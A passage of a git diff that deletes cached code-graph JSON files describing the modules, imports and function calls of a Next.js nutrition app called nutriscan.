"d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_html", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_start", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_end", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_raw", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_decoded", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L11", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/bb5accde59637d13cab1abbe688ddc1fe3282693e2f1cd2ff5aafd305dcb50dc.json b/graphify-out/cache/ast/bb5accde59637d13cab1abbe688ddc1fe3282693e2f1cd2ff5aafd305dcb50dc.json
deleted file mode 100644
index cb79aa7..0000000
--- a/graphify-out/cache/ast/bb5accde59637d13cab1abbe688ddc1fe3282693e2f1cd2ff5aafd305dcb50dc.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_types_rybbit_d_ts", "label": "rybbit.d.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L1"}, {"id": "types_rybbit_d_rybbittrackevent", "label": "RybbitTrackEvent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L6"}, {"id": "types_rybbit_d_rybbit", "label": "Rybbit", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L19"}, {"id": "types_rybbit_d_window", "label": "Window", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L24"}], "edges": [{"source": "d_documents_github_nutriscan_lib_types_rybbit_d_ts", "target": "types_rybbit_d_rybbittrackevent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_rybbit_d_ts", "target": "types_rybbit_d_rybbit", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_rybbit_d_ts", "target": "types_rybbit_d_window", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types\\rybbit.d.ts", "source_location": "L24", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/bf26b40066c76f26e9aaaf5ef80eb8ca6e5c2639875a42b63c43f6fa6c2e1814.json b/graphify-out/cache/ast/bf26b40066c76f26e9aaaf5ef80eb8ca6e5c2639875a42b63c43f6fa6c2e1814.json
deleted file mode 100644
index 186fe30..0000000
--- a/graphify-out/cache/ast/bf26b40066c76f26e9aaaf5ef80eb8ca6e5c2639875a42b63c43f6fa6c2e1814.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_separator_tsx", "label": "separator.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L1"}, {"id": "ui_separator_separator", "label": "Separator", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L8"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_separator_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_separator_tsx", "target": "react_separator", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_separator_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_separator_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_separator_tsx", "target": "ui_separator_separator", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\separator.tsx", "source_location": "L8", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/c759f5b01b313d9f54b28f84f106245dd7093e07fc7f29460bf2023c971255f2.json b/graphify-out/cache/ast/c759f5b01b313d9f54b28f84f106245dd7093e07fc7f29460bf2023c971255f2.json
deleted file mode 100644
index 34426b5..0000000
--- a/graphify-out/cache/ast/c759f5b01b313d9f54b28f84f106245dd7093e07fc7f29460bf2023c971255f2.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_idinput_tsx", "label": "IdInput.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L1"}, {"id": "components_idinput_idinput", "label": "IdInput()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L8"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "d_documents_github_nutriscan_components_ui_input_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "ui_input_input", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "app_actions_verificarlista", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_idinput_tsx", "target": "components_idinput_idinput", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L8", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_idinput_idinput", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L9"}, {"caller_nid": "components_idinput_idinput", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L10"}, {"caller_nid": "components_idinput_idinput", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L11"}, {"caller_nid": "components_idinput_idinput", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\IdInput.tsx", "source_location": "L12"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/c95259fb557e95a2faac53433b329282fed1fba6f28ab152cb2841f3284c0fe3.json b/graphify-out/cache/ast/c95259fb557e95a2faac53433b329282fed1fba6f28ab152cb2841f3284c0fe3.json
deleted file mode 100644
index ce17031..0000000
--- a/graphify-out/cache/ast/c95259fb557e95a2faac53433b329282fed1fba6f28ab152cb2841f3284c0fe3.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_api_cache_sync_route_ts", "label": "route.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L1"}, {"id": "sync_route_post", "label": "POST()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L4"}], "edges": [{"source": "d_documents_github_nutriscan_app_api_cache_sync_route_ts", "target": "server", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_cache_sync_route_ts", "target": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_cache_sync_route_ts", "target": "lib_jsoncachemanager_jsoncachemanager", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_cache_sync_route_ts", "target": "sync_route_post", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L4", "weight": 1.0}], "raw_calls": [{"caller_nid": "sync_route_post", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L6"}, {"caller_nid": "sync_route_post", "callee": "isArray", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L8"}, {"caller_nid": "sync_route_post", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L9"}, {"caller_nid": "sync_route_post", "callee": "saveProducts", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L16"}, {"caller_nid": "sync_route_post", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L18"}, {"caller_nid": "sync_route_post", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L20"}, {"caller_nid": "sync_route_post", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L26"}, {"caller_nid": "sync_route_post", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\cache\\sync\\route.ts", "source_location": "L27"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ca346b1ba8fd861438280fa7dc7484c159351e2560d0f612562e2e452294a70e.json b/graphify-out/cache/ast/ca346b1ba8fd861438280fa7dc7484c159351e2560d0f612562e2e452294a70e.json
deleted file mode 100644
index 48dadc5..0000000
--- a/graphify-out/cache/ast/ca346b1ba8fd861438280fa7dc7484c159351e2560d0f612562e2e452294a70e.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_robots_ts", "label": "robots.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\robots.ts", "source_location": "L1"}, {"id": "app_robots_robots", "label": "robots()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\robots.ts", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_app_robots_ts", "target": "next", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\robots.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_robots_ts", "target": "app_robots_robots", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\robots.ts", "source_location": "L3", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ce25af8a8509578d105cd81f97377013fbc100cb02339e4e6feaa5bea83fde5e.json b/graphify-out/cache/ast/ce25af8a8509578d105cd81f97377013fbc100cb02339e4e6feaa5bea83fde5e.json
deleted file mode 100644
index bb451d1..0000000
--- a/graphify-out/cache/ast/ce25af8a8509578d105cd81f97377013fbc100cb02339e4e6feaa5bea83fde5e.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_api_search_route_ts", "label": "route.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L1"}, {"id": "search_route_get", "label": "GET()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L8"}], "edges": [{"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "server", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "d_documents_github_nutriscan_lib_jsoncachemanager_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "lib_jsoncachemanager_jsoncachemanager", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "d_documents_github_nutriscan_lib_searchutils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "lib_searchutils_sortbyrelevance", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_search_route_ts", "target": "search_route_get", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L8", "weight": 1.0}], "raw_calls": [{"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L17"}, {"caller_nid": "search_route_get", "callee": "parseInt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L24"}, {"caller_nid": "search_route_get", "callee": "parseInt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L25"}, {"caller_nid": "search_route_get", "callee": "isNaN", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L27"}, {"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L28"}, {"caller_nid": "search_route_get", "callee": "isNaN", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L34"}, {"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L35"}, {"caller_nid": "search_route_get", "callee": "max", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L42"}, {"caller_nid": "search_route_get", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L46"}, {"caller_nid": "search_route_get", "callee": "join", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L49"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L71"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L77"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L82"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L88"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L93"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L99"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L104"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L110"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L115"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L120"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L126"}, {"caller_nid": "search_route_get", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L147"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L184"}, {"caller_nid": "search_route_get", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L185"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L190"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L197"}, {"caller_nid": "search_route_get", "callee": "searchProducts", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L198"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L206"}, {"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L209"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L225"}, {"caller_nid": "search_route_get", "callee": "set", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L238"}, {"caller_nid": "search_route_get", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L238"}, {"caller_nid": "search_route_get", "callee": "set", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L239"}, {"caller_nid": "search_route_get", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L239"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L241"}, {"caller_nid": "search_route_get", "callee": "fetch", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L245"}, {"caller_nid": "search_route_get", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L246"}, {"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L256"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L260"}, {"caller_nid": "search_route_get", "callee": "push", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L264"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L267"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L273"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L279"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L290"}, {"caller_nid": "search_route_get", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L294"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L305"}, {"caller_nid": "search_route_get", "callee": "sortByRelevance", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L308"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L310"}, {"caller_nid": "search_route_get", "callee": "saveProducts", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L313"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L314"}, {"caller_nid": "search_route_get", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L322"}, {"caller_nid": "search_route_get", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L325"}, {"caller_nid": "search_route_get", "callee": "push", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L328"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L331"}, {"caller_nid": "search_route_get", "callee": "sortByRelevance", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L334"}, {"caller_nid": "search_route_get", "callee": "slice", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L337"}, {"caller_nid": "search_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L355"}, {"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L359"}, {"caller_nid": "search_route_get", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L361"}, {"caller_nid": "search_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\search\\route.ts", "source_location": "L364"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/ceef1bce770ee0df5e8312d03dd37d22680d6a9b2f5fcfa72e24157ed9ccd4db.json b/graphify-out/cache/ast/ceef1bce770ee0df5e8312d03dd37d22680d6a9b2f5fcfa72e24157ed9ccd4db.json
deleted file mode 100644
index a100034..0000000
--- a/graphify-out/cache/ast/ceef1bce770ee0df5e8312d03dd37d22680d6a9b2f5fcfa72e24157ed9ccd4db.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_card_tsx", "label": "card.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L1"}, {"id": "ui_card_card", "label": "Card", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L5"}, {"id": "ui_card_cardheader", "label": "CardHeader", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L20"}, {"id": "ui_card_cardtitle", "label": "CardTitle", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L32"}, {"id": "ui_card_carddescription", "label": "CardDescription", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L44"}, {"id": "ui_card_cardcontent", "label": "CardContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L56"}, {"id": "ui_card_cardfooter", "label": "CardFooter", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L64"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "ui_card_card", "relation": "contains", "confidence": "EXTRACTED", 